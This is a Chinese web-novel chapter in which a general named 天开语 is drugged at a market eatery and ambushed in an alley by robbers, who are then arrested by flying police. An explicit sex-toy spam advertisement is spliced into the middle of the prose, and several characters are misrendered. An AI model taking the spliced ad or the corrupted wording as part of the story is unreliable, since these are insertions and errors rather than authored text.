“哦对了,这回买这么多,可得更便宜些了吧!”得意之余,他好歹还记得批量优惠的原则,又向那少女杀价道。
“这……”就在那群起哄的大孩子以为少女会再降低“天价”的时候,却听那少女迟疑不决起来。
“这批货本来进得就少,而且……先生你看,现在赚头已经少得可怜了,您这么批量一买,我恐怕会亏得厉害呢!”不待天开语开口,她又口齿伶俐地道:
“您想想,买一枚我亏一元,那么买一百枚亏多少总能算得出来吧?”
天开语一呆,看到周围那些大孩子神情紧张地紧盯着自己,终一摊手,道:
“好吧,那么就按照你定的价,二十红熠元吧!”话甫说毕,他身边已经看不到一个人了,低头看时,却见早已经倒了一片。
“先生您慢走,小心拿好,当心这里有扒手哦!”少女的声音在身后响着,天开语已经离开了拥挤的人群。
--妈的,想不到在人群里挤,是这么麻烦的事情……
天开语好不容易来到一处人群略为稀少的地方,使劲抖了抖衣袍:心道以后到这种地方来,还是应该穿得精干一些,这种拖拖挂挂的袍服,虽然很有气派,但在这种场合,却不是很实用。
正想着,身后又传来一个叫卖的声音:“钦--这位先生,看您气宇轩昂气度不凡,一定是非常人也,来来来,是否需要一副指套,来增加您的气魄呢?”
天开语转身看时,却见眼前又是一个叫卖指套的小贩。
“哦。”天开语应了一声,随手接过小贩递来的指套,比划了一下,道:“看来你的货色不怎么样啊,居然没有多少记忆合金在里面。”
那小贩忙道:“是啊,有记忆合金的指套,硬度不够的,所以我这里的指套,都是卖给那些够狠、够劲的武者!”
天开语立刻摇头,道:“说什么啊!太硬了咯手,击打的时问久了,手会很痛的--这种落后的东西,你居然也拿出来卖,真是笑话!”说着随手将手中的指套扔回了摊位,扬长而去。
不过他刚离开这摊位不远,那第一个向他兜售指套的男子便从一个不起眼的角落窜出,来到了小贩身边,盯着他的背影低声说个不停……
长达四、五里的“小器街集”,天开语逛过一半时,时间已经到下午时分了。
想到今天自己居然会有心情逛街,天开语不禁有些飘飘然,心道原来普通人的生活,也是很有意思的,不似过去、将来以及现在,整天部过着十分刺激的日子。
看着人们忙忙碌碌来来往往,他的内心充满了满足的安详;看到时不时出现的吵吵嚷嚷,他又感到这世界是这样的鲜活,令他不断涌出悲悯爱护的心情。
--其实世界真的是很多元化的,每一种生命,每一个阶层,都有他们自己的存在方式,而在这种存在方式里蕴藏的快乐,却是不同生命、不同阶层问所无法理解、感受到的……
天开语感到在自己体内,似乎又有一些东西在滋生,让他产生阵阵冲动--
冲动什么?他却又无法用思维或语言表述出来……
“先生,请来里面坐坐?”正沉思问,一个声音从旁边传来。扭头看时,却原来是一家食肆。
“哦,好的。”天开语此时只觉自己的心情平顺无比,似乎任何人要求他任何事情,他都可能答应。
“好勒!一位客--”那招呼的肆主发出一阵悠扬响亮的吆喝,立刻有侍应上前将天开语往食肆内领。
天开语坐下后,简单打量了一下食肆环境,只觉这食肆虽小,倒也十分明净清爽,一时心情似乎也明朗了许多。
“先生想来点什么?”侍应是一位秀气的少女,她轻声细语地询问着天开语休息一下 广告时间:金冠信誉人气第一充气娃娃自慰名器 买一送7 日本品牌代言 内部全仿真阴道倒模 点击进入
“哦……你看着办吧,有什么拿手的,点上一两样即可。”天开语笑着回答道。
“好的,先生请稍候,请用味饮。”少女侍应显然对天开语温和平易的气度很有好感,又对他嫣然一笑后才轻步离开。
轻啜一口温热香浓的味饮,天开语抬起头来,目光投向外面热闹的街市……
…
忽然间--一股奇怪的感觉自他的心底悠悠滋生。
--不对,眼前的景象似乎有问题……
心灵的警兆暗暗发出,提醒天开语留心周围的一切。
他立刻低下头来,在轻轻啜味饮的同时:心念已经随着大地向食肆周围蔓延开去……
一……三……十二……十九!
共有十九个人!
对气机的极度敏感,令天开语很快判断出,一共有十九道气机,正在针对着他慢慢靠近。
微皱了皱眉,他抬眼看了食肆一眼,自言自语道:“看来这个地方,并非是打架的好场地呢……”
话音未落,便见那少女侍应快步走来,双手端着一张食盘,食盘内盛放着两钵食器,正散发着香喷喷的热气。
“先生,你的“浓汤丝”来啦!”说着少女将食盘小心翼翼地放在天开语的面一叫。
“好的,谢谢你了……”天开语边点头边心中暗暗冷笑:别以为老子不知道,你们在这“浓汤丝”里下了“料”!
诈作不知,天开语大口大口地将“浓汤丝”喝得连汤水也不剩一滴,大声地连打了两个饱嗝后,才结帐离开食肆。
“谢谢,这“浓汤丝”的味道还真不错,下回我一定还来尝尝!”临走时,他还话中有话地对肆主和少女侍应说道,只不知他们能否听得出来了。
再次回到“小器街集”的人流中,天开语已经没有了前时的心情--有人要算计他:心情当然会不一样。
他那可以幽微到身体每条血脉、每个细胞的心灵,早已经结合“幻梦大医者”
的医学记忆,分析出了刚才喝下的那钵“浓汤丝”里,已经下了相当份量的迷药,而这种迷药,按照规定,应该是被限制使用的。
--就凭这点,老子今天也要让你们好看……
心中暗暗想着,天开语有意从“小器街集”街边旁侧的一条小巷转了出去,离开了主街市。
小巷越定越深,越走,便越能感觉到身后涌来的阵阵不怀好意的杀气……
终于,估计到巷子中段的地方,天开语停了下来。
身后很快传来“细细率率”的脚步声,他知道,好戏就要上演了。
“喂,前面的那个小子,你好啊!”一个熟悉的声音自背后传来,正是那第一个卖指套的小贩。
“我很好。”天开语微笑着转过身来,手中仍然托着要带回家的一百枚指花。
“你好,嘿,老子可就不好了!”那男子恶狠狠地瞪着天开语,一步一步向他走近。
“是吗?那怎么办呢?”天开语耸耸肩,一脸困惑地问道。
“很简单,只要你不好,老子就好了。”那男子缓缓地举起手来,天开语看到,他的双手都戴着闪闪发光的指套,尤其是那指套上隐隐都透出尖刺,分明是在武者中禁止的“黑暗指套”。
“还有我,我也很不好。”小巷的另一端也传来了另一个卖指套的小贩声音。
不用看,天开语也知道他的手上一定也戴好了指套。
“你们两个都不好,我只有一个人,该怎么办呢?”天开语脸上夸张地露出苦闷的表情,侧过身子,看看第一个小贩,又看看第二个小贩。他看到,在他们的身后,都跟着不少的人,自然是他们的同夥。
不过令他感到奇怪的是,在第二个小贩的身后,居然还有那个自己买了她一百枚指花的少女!
“喂,你怎么也来了?我不是已经付了你红熠元吗?”天开语故作不解道。
“嘿嘿,我只是来看看热闹嘛!另外,如果你真的被打伤了,我在你愿意付报酬的情况下,很乐意替你叫医护的。”卖指花的少女一脸无辜,水灵灵的大眼睛中更是充满了天真,似乎眼前即将发生的事情,真的是一场很有趣的戏。
“哦,那谢谢你了。”天开语浑身一哆嗦,缩起了身体,好像伯极了眼前的这些恶人。“不过,请你能不能现在就替我叫飞警来?我伯他们高兴以后,我身上就没有红熠元付给你了……”他的目光落在第一个卖指套小贩的身后,那里正有一个人,手持一具验牌机,分明是想洗劫他纪牌中的所有红熠元。
“呀,我可不敢叫飞警,我一叫,恐怕飞警没有来,我就已经被他们这样…
…了。”卖指花少女用手在自己美丽的脖颈上横着比划了一下,连连摇头道。
“倒也是……看来我今天真的要倒楣了……”天开语大声叹着气,举起了手腕,有气无力地呼叫道:“喂喂,你们是警宪部吗?快来人吧,有人想抢劫我呀!”
说完便放下了手。
“嘿嘿,这小子还真有本事,居然用警宪部来吓唬我们!”第一个卖指套的小贩怪笑道,一面向天开语又栘近了几步--他这样缓慢靠近,倒不是为了谨慎,而是为了享受给对方带来压力后紧张害怕的快乐。
“我告诉你们,我可真是跟他们有关系,而且关系很深的哦!”天开语苦着脸道,那表情让人无论如何也无法想像他会同熠京最狠的暴力机构警宪部有关联。
“唉!告诉你,我们还跟地勤重甲军部有关系呢!”第二个卖指套的小贩发出“叽叽”的怪笑声道。
“真的?”天开语立刻一脸的希望:“那太好了,我跟他们也有关系,这样一来,咱们不都是自己人了吗?自己人还打自己人?”
“不打你也可以,只要把你的纪牌交出来,划一些红熠元给我们用用,就放过你。唔……你的脸长得还不错,完好的脸还可以找到不少小妞。”第一个卖指套的小贩狞笑道。
“是吗?唔……这我倒可以考虑考虑……”天开语立刻做出沉思状,过了一会儿,见那两个小贩目露凶光,跃跃欲试的时候,他才一摆手,道:“好了,我答应你们!”
“什么?你答应了?”两个小贩大感意外,对视一眼,道:“你不反抗了?”
天开语耸耸肩,道:“当然不反抗,干嘛要反抗呢?根本就不用我自己动手嘛!”
“嗯,你是不用动手,只要我们把你的手按在这上面就行了。”第一个卖指套小贩道。
这时天开语摇了摇头,道:“不是这样的。”
两个小贩一怔:“什么不是这样的,你小子反悔了?那好,我们顶多费些气力罢了!”说毕便突然身形加速,挥舞着四只指套闪闪的拳头向天开语冲去!
天开语轻叹一声,仰头道:“你们这些笨蛋,怎么还不下来,难道非要我动手吗?”
话音未落,那半空中便突然响起刺耳的空气呼啸声,紧跟着小巷上突地变暗,随后警笛大作,十数驾载着飞宪的冲扬从天而降,在顷刻问包围了整个小巷!
“啊……你……你们……”原本趾高气扬的十九名恶徒,转眼间变成了张皇失措的可怜虫,瑟瑟发抖地聚拢在小巷两头。
“天将军,您没事吧!”一名高大强壮的宪督威风凛凛的自黑色冲扬上一跃而下,大步来到天开语面前,向他敬礼问候--在经过那第二个小贩时,顺便一脚将他踢了个爆跌,满口牙也落了一地。
“唉!你这话问得真是有问题。我怎么会有事呢?只不过考验一下你们的反应,唔……稍嫌慢了些。连对我都这样,那寻常民众你们怎么会来得及呢?”天开语连连摇头,居然有心情数落起面前的宪督。
“是!天将军教训得是!我们回去后,立刻整顿宪纪,务必达到天将军的要求!”这宪督“啪!”地一下敬礼,大声回应道。
“哇,来了这么多人,果然很重视哦……”天开语抬起头,仰望天空,只见那可怜的小巷上空正来回盘旋着不知多少架冲扬。
“当然,保证天将军的安全,是我们警宪部的第一要务!”这宪督又大声道。
天开语咧嘴笑了笑,拍拍他肩膀,道:“哦,编号X--E--861……你叫什么名字?”他翻看着眼前宪督的胸牌念道。
“职下叫雷刚!”这宪督果然人如其名,声音和气势很是刚强。
“唔,雷刚……好名字。好吧,你们把这些人统统都抓走吧,这些都不是好人。”他转身指点着那些早已经被众飞宪捆绑起来,软坐一地的恶徒吩咐道。
“是!”雷刚立即大声应道。
天开语又拍拍他肩膀,绕过他,走到那第一个卖指套小贩面前,蹲下来道:
“你呀你,都告诉你了,我跟警宪部的人认识,你还不相信,非要打劫。哦,对了,你不是说你跟地勤重甲军部也有联系吗?喂,雷刚,你查一下,究竟地勤重甲军部的什么人跟他们认识,也好跟人家打个招呼,免得人家到时候救人难堪。”
;雷刚“是!”地大声答应,然后两步走到第二个卖指套小贩面前,用力踹他一脚,恶狠狠道:“喂小子,快说,你认识地勤重甲军部的什么人?”
“我……”面对雷刚凶神一般的神态,那小贩早软作一团,哆嗦个不停,无法正常说话了。
“妈的,竟然抢到我们天将军头上来了,真是瞎了你们的眼!”雷刚又重重踢小贩一脚,又啐他一口,道:“快说,地勤重甲军部的什么人你们认识,看老子把他一块儿抓来!哼,得罪天将军,就是天王老子也救不了!”他正待再踢小贩时,却见他已经歪倒一旁,骇昏了过去。
天开语“哧”地一笑,道:“你们刚才这么有胆,为何这个时候却这般脓包?”
那第一个小贩看他一眼,颤抖着声音道:“我我我我……我们哪里知道你你你……你是什么天将军……”
天开语一笑,道:“不但这样,你们还给我喝加了迷药的“浓汤丝”,嘿嘿,真是罪加一等啊!”
雷刚一听这话,登时浓眉倒竖,厉声喝道:“什么?还有迷药!”
那小贩早瘫做一团,浑身抖个不停,下体臭烘烘地遗了一地。
“算了,把他们送到“五木山”就行了。”天开语淡淡说道,一面立起身来,拍拍手,就要离开。
““五木山”!”登时小巷内呼出一片凄厉的惨叫。那些被捕的恶徒哪里会不知道“五木山”是个什么地方?那是个连鬼都害怕的重监之地啊!去到那里,他们这些武道修为可怜的平民根本就是送死!
“是!天将军!”雷刚显然也被天开语的残忍吓了一跳,但仍然一挺身,大声答应道。
“慢着--”众飞宪正待拖着那些已经挂在冲扬后面的恶徒离开时,却听到一个女孩子尖叫起来。
众人看时,原来是那个卖指花的少女。
“你还有什么问题吗?”天开语笑呵呵地对少女道。
“我……我觉得你这样做不对!”卖指花少女犹豫一下,大声叫道。
“什么,不对?有什么不对?”天开语似突然对她产生了浑厚的兴趣,甚至定到了她的面前,以询问的目光看着她反问道。
“当然不对,这个……这个嘛……”少女显然想不出理由来,只好结结巴巴地拖延。
“天将军,不要理她,这种刁民我们见得多了!”雷刚上前用力推了少女一把,顿时将她推倒在地,滚了两滚。
“你……你们欺负人!”少女突哭了出来。
“雷刚,不要这样么,人家还是小孩子。”天开语向雷刚挤挤眼,拿腔拿调地说道。他这种猥琐的表情,立刻令雷刚大大生出知己之感,觉得眼前这位大名鼎鼎的天将军,甚为可亲可爱。
“是是,雷刚错了。”雷刚忙夸张地向旁让出一大步,方便天开语继续上前调笑少女。
“看,我已经训过他了,你还有什么话好说?”天开语蹲下身来,嘴里说着话,目光却色迷迷地盯着少女翘鼓鼓的乳峰。
“你……”少女登时小脸羞愤得通红,恨恨地瞪着天开语,一时竟说不出话来。
“哦,如果你没话说的话,我可就要定了。”天开语耸耸肩,作势要起身。
“别--我说……”少女急叫一声,生伯他离开。
“好吧,你说。”天开语的目光又重落在了少女的胸前。
“你……你弄错了,我……我刚才还想帮你呢!”少女憋了半天,终于憋出了一句莫名其妙的话。
“什么?你帮天将军?不会是我听错了吧!”雷刚眼珠立时跌出,圆圆地瞪着少女道。
“当然,不信你问他!”少女居然还十分坚持。
雷刚难以置信的目光转向天开语,却见天开语“哧”地笑了出来:“你那也算帮忙啊?”
“当然算了,只不过…………只不过没帮上而已……而且,我还卖指花给你……”少女的声音越说越低。
“那好,就算你帮过我吧。好,雷刚,你放了她吧!”天开语竟然大度地一挥手,出乎雷刚意料地释放了少女!
“这……是……来人,放了她!”雷刚满头雾水,完全弄不明白眼前的天将军是什么用意,但也立刻执行了他的命令。
“这其他人,总没有理由了吧?”笑咪咪地看着少女挣脱束缚,天开语又说道。
一刹那,少女明白了眼前这位天将军的意思--他竟是有意要放走自己的同伴!
内心一阵激动,但她仍有怀疑,便低声试探道:“他……们,应该也是来看热闹的吧,顶多落得知情不报,关两天?”她的大眼睛又恢复了机灵,忽闪忽闪地看着天开语,会说话似地溢满了哀求。
天开语一笑,摆手制止了要开口的雷刚,道:“好吧,既然这么说,似乎他们的确也没有什么过失--雷刚,就把他们也放了吧!”停了下,不待张口结舌的雷刚做出反应,他又道:“就把这两人送到“五木山”吧!”言毕竟不再看那少女一眼,便已然腾空而起,有如一缕轻烟般升上了天空,只有一篷碎屑飘然洒落,众人看那略有形状的屑片时,却原来是已经搓成粉末的指花……